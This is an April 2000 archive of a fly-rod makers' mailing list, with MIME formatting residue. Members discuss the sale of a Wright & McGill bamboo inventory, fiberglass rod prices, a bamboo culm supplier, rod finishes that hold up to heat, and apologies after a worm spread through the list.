McGill bamboo. He took meback inthe workshop and showed me bundles and bundles of bamboo that runfromtapered strips all the way to completed blanks. He's got several ofthosebig cabinets that are used to store blueprints, brimming full of oldbamboorods, blanks, etc.. I couldn't help salivating over the inventoryhe'sgot.Unfortunately, the bamboo rods take far more time and effort tocompletefora similar return to the fiberglass, so that's where he'sconcentrating hiseffort. The Wright & McGill inventory is still for sale. It seems like theperfectstarting place for someone who wants to begin a production bamboorodshop. ----- Original Message -----From: Darrell A. Lee Sent: Tuesday, April 25, 2000 10:05 AMSubject: RE: Fiberglass Gold Here's a Phillipson glass rod currently on ebay for sale at $810and thereserve has not yet bee met! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=315386116 This rod above is apparently a new rod built by Ricks Rods...Which sortofgoes against the conventional wisdom of older is more... I canonlyattribute the price to the "free hat"... 8^) Unfortunately, searches on completed auctions can only search thetitles.And ebay has cut off the amount of time that solds remainavailable tobeaccessed so I'm afraid those sales are lost. I wonder how much Rick wants for his glass blanks now? Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu WohlfordSent: Monday, April 24, 2000 11:26 PM Cc: rodmakers@wugate.wustl.eduSubject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if youknowyour fly rod history you'll also know that Fenwick under thedirectionof Jim Green were pioneers in fiberglass fly rods. I was luckyenough toattend an informal discussion Per Brandin put together in whichJim wasthe featured guest. Needless to say it was an enlighteningafternoon.If I were a collector, I would keep and eye out for the oldFenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com from DNHayashida@aol.com Wed Apr 26 14:33:23 2000 Subject: Balck Bamboo culm source Found a place that sells black bamboo culms up to3" in diameter and 12' long.http://www.franksupply.comDarryl from dickay@alltel.net Wed Apr 26 14:56:49 2000 OAA00614 Subject: Sorry!! boundary="----=_NextPart_000_0025_01BFAF8E.83558520" This is a multi-part message in MIME format. ------=_NextPart_000_0025_01BFAF8E.83558520 List Members,So sorry that I propagated the virus/worm back to the list again. I had =been out of town over Easter. I downloaded my E-Mail and started =reviewing it offline. I replied to the post on Dam Removal and put it in =my Send folder before getting to the messages about the virus/worm. I =spent several hours yesterday clearing my system of the offending files =and updating things including my protection system. After Art Port gave =me the first heads up (Thanks Art) I went through the process again. =Clearing all of the files, the Registry, and updating everything again. =I know that it works because it pointed out that one of the replies had =the problem in my original message that was attached. I hope that this =message does not have the problem as I have checked it and everything =was supposed to be OK. Again I'm Sorry Dick Fuhrman ------=_NextPart_000_0025_01BFAF8E.83558520 List Members,So sorry that I propagated the virus/worm back to the list = reviewing it offline. I replied to the post on Dam Removal and put it in = several hours yesterday clearing my system of the offending files and = works because it pointed out that one of the replies had the problem in = the problem as I have checked it and everything was supposed to be =OK. Again I'm Sorry Dick Fuhrman ------=_NextPart_000_0025_01BFAF8E.83558520-- from timklein@uswest.net Wed Apr 26 15:31:45 2000 (63.225.240.224) Subject: Heat tolerance - was: longevity... Speaking of rods being in the car... Does anyone have an opinion on a finish (and glue for that matter), thatwould hold up best as a "car rod"? I've kept a rod in my car for a long time but, sad to say, it's graphite. I've been thinking about making a 3 piece to stash in the back, out ofdirect sunlight, but still subject to Colorado summer conditions. Anysuggestions? ----- Original Message ----- ; ; Subject: Re: longevity of actively used bamboo rods. To All,I have to agree that if the Orvis test is accurate I, also, would losethe use of my rod in 1 1/2 years. The one I use (overstress at times)seemedto lose its crispness after 4 years but when it was stripped and put intheoven at 175* F. for 2 days it seemed to recover. Over 4000 trout in 8yearsis the approximate tally so far-everything from 2" par to 20" cuts,brownsand rainbows. The rod gets left in the car too much and is otherwiseabused.I consider bamboo to be a fantastic material.Hank.P.S. The rod is a 7 1/2', 2 pc., 5 wf. from timklein@uswest.net Wed Apr 26 16:07:11 2000 (63.225.240.224) Subject: Re: W&M Cane When I talked to him, he seemed pretty intent on selling the whole lottogether. Since he's paying the bills with the fiberglass business, I don'tthink he's in a huge rush to clear this stuff out. He seems pretty sure thatthe right offer is going to come around some day. I certainly didn't pretendto have that kind of cash burning a hole in my pocket, but he seemedconvinced that someone could do OK for themselves if they were willing tomake the commitment. I don't know anything about the e-bay offer, and the money he was talkingtook me by surprise at first too. After a little mental math though, itdidn't seem to be completely out of line. It's definitely more than someonewould shell out on a whim, but I think someone with a good business plan,awad of cash, a lot of energy and a willingness to make the commitmentmighteventually turn a profit. It would probably depend somewhat on whetheryoucould get the rights to the Wright & McGill name. I wouldn't pretend toknowwhat the demand for a *NEW* old Wright & McGill rod might be. Maybesomeonecould talk to the *NEW* old Payne Rod Company people and find out. I got the impression that he'd probably be willing to negotiate a little onthe pricing, but he mentioned that the offers he's received so far wereWAYbelow his asking price and he had no intention of taking an offer heconsiders low- ball. Does anyone know whether the e-bay offer includedtheold Wright & McGill tooling? He's got culm splitters, rough shaping andfinal tapering equipment among other things. When I talked to him, thiswasall part of the package. He even mentioned that he might be persuaded tomake some sort of deal on the WM ferrules he has. If you're looking for individual blanks, you could still give him a call. Hemay not be selling the W&M stuff individually, but he has a lot of olderrods that could be refinished and a few blanks that were put together frommiscellaneous stock that he's obtained over time. ----- Original Message ----- Subject: RE: W&M Cane I've seen his website describing that lot. I don't have any idea whathe may have paid for those, but as far as I can tell he's onlyinterested in selling the lot, and won't even hint at a price (I neverknew about the eBay attempt). I can't imagine sitting on an inventorylike that. The market for reasonably priced cane blanks seems prettyhot to me right now. I'd love to see someone liquidate that kind ofinventory at a price reflecting a realistic market value. Did he evermention any plans to sell individual or small lot blanks? from nobler@satx.rr.com Wed Apr 26 17:17:37 2000 SMTPSVC(5.5.1877.357.35);Wed, 26 Apr 2000 17:18:36 -0500 Subject: Re: Virus carrier agin boundary="----=_NextPart_000_002E_01BFAFA3.B14B5EE0" This is a multi-part message in MIME format. ------=_NextPart_000_002E_01BFAFA3.B14B5EE0 I just received a message from Dick Fuhrman (sp?) that brought an unsafe=warning box up when it came up on my screen. GMA ------=_NextPart_000_002E_01BFAFA3.B14B5EE0 I just received a message from Dick Fuhrman (sp?) that = unsafe warning box up when it came up on my screen. GMA ------=_NextPart_000_002E_01BFAFA3.B14B5EE0-- from nobler@satx.rr.com Wed Apr 26 17:33:15 2000 SMTPSVC(5.5.1877.357.35);Wed, 26 Apr 2000 17:34:03 -0500 Subject: Re: Sorry!! boundary="----=_NextPart_000_0071_01BFAFA5.D9A81840" This is a multi-part message in MIME format. ------=_NextPart_000_0071_01BFAFA5.D9A81840 We all had it Dick, and you just came in clean ! No sweat, GMA Sent: Wednesday, April 26, 2000 2:48 PMSubject: Sorry!! List Members,So sorry that I propagated the virus/worm back to the list again. I =had been out of town over Easter. I downloaded my E-Mail and started =reviewing it offline. I replied to the post on Dam Removal and put it in =my Send folder before getting to the messages about the virus/worm. I =spent several hours yesterday clearing my system of the offending files =and updating things including my protection system. After Art Port gave =me the first heads up (Thanks Art) I went through the process again. =Clearing all of the files, the Registry, and updating everything again. =I know that it works because it pointed out that one of the replies had =the problem in my original message that was attached. I hope that this =message does not have the problem as I have checked it and everything =was supposed to be OK. Again I'm Sorry Dick Fuhrman ------=_NextPart_000_0071_01BFAFA5.D9A81840 We all had it Dick, and you just came in clean =! No sweat, GMA ----- Original Message ----- Dick = Fuhrman Sent: Wednesday, April 26, 2000= PMSubject: Sorry!! List Members,So sorry that I propagated the virus/worm back to the list = reviewing it offline. I replied to the post on Dam Removal and put it = = several hours yesterday clearing my system of the offending files and = works because it pointed out that one of the replies had the problem = have the problem as I have checked it and everything was supposed to = OK. Again I'm Sorry Dick Fuhrman ------=_NextPart_000_0071_01BFAFA5.D9A81840-- from nobler@satx.rr.com Wed Apr 26 17:38:43 2000 SMTPSVC(5.5.1877.357.35);Wed, 26 Apr 2000 17:39:44 -0500 Subject: Re: W&M Cane boundary="----=_NextPart_000_0085_01BFAFA6.A4C3F1C0" This is a multi-part message in MIME format. ------=_NextPart_000_0085_01BFAFA6.A4C3F1C0 Does anyone know his web site ? GMA Sent: Wednesday, April 26, 2000 4:07 PMSubject: Re: W&M Cane When I talked to him, he seemed pretty intent on selling the whole lottogether. Since he's paying the bills with the fiberglass business, I =don'tthink he's in a huge rush to clear this stuff out. He seems pretty =sure thatthe right offer is going to come around some day. I certainly didn't =pretendto have that kind of cash burning a hole in my pocket, but he seemedconvinced that someone could do OK for themselves if they were willing=tomake the commitment. I don't know anything about the e-bay offer, and the money he was =talkingtook me by surprise at first too. After a little mental math though, =itdidn't seem to be completely out of line. It's definitely more than =someonewould shell out on a whim, but I think someone with a good business =plan, awad of cash, a lot of energy and a willingness to make the commitment =mighteventually turn a profit. It would probably depend somewhat on whether =youcould get the rights to the Wright & McGill name. I wouldn't pretend =to knowwhat the demand for a *NEW* old Wright & McGill rod might be. Maybe =someonecould talk to the *NEW* old Payne Rod Company people and find out. I got the impression that he'd probably be willing to negotiate a =little onthe pricing, but he mentioned that the offers he's received so far =were WAYbelow his asking price and he had no intention of taking an offer heconsiders low-ball. Does anyone know whether the e-bay offer included =theold Wright & McGill tooling? He's got culm splitters, rough shaping =andfinal tapering equipment among other things. When I talked to him, =this wasall part of the package. He even mentioned that he might be persuaded =tomake some sort of deal on the WM ferrules he has. If you're looking for individual blanks, you could still give him a =call. Hemay not be selling the W&M stuff individually, but he has a lot of =olderrods that could be refinished and a few blanks that were put together =frommiscellaneous stock that he's obtained over time. ----- Original Message -----From: James Sent: Wednesday, April 26, 2000 12:29 PMSubject: RE: W&M Cane I've seen his website describing that lot. I don't have any idea =whathe may have paid for those, but as far as I can tell he's onlyinterested in selling the lot, and won't even hint at a price (I =neverknew about the eBay attempt). I can't imagine sitting on an =inventorylike that. The market for reasonably priced cane blanks seems =prettyhot to me right now. I'd love to see someone liquidate that kind ofinventory at a price reflecting a realistic market value. Did he =evermention any plans to sell individual or small lot blanks? ------=_NextPart_000_0085_01BFAFA6.A4C3F1C0 Does anyone know his web site ? GMA ----- Original Message ----- Tim = = Sent: Wednesday, April 26, 2000= PMSubject: Re: W&M CaneWhen I talked to him, he seemed pretty intent on = whole lottogether. Since he's paying the bills with the fiberglass = business, I don'tthink he's in a huge rush to clear this stuff = seems pretty sure thatthe right offer is going to come around some = certainly didn't pretendto have that kind of cash burning a hole = pocket, but he seemedconvinced that someone could do OK for = they were willing tomake the commitment.I don't know = about the e-bay offer, and the money he was talkingtook me by = completely out of line. It's definitely more than someonewould = on a whim, but I think someone with a good business plan, awad of = lot of energy and a willingness to make the commitment = turn a profit. It would probably depend somewhat on whether = the rights to the Wright & McGill name. I wouldn't pretend to = someonecould talk to the *NEW* old Payne Rod Company people and = out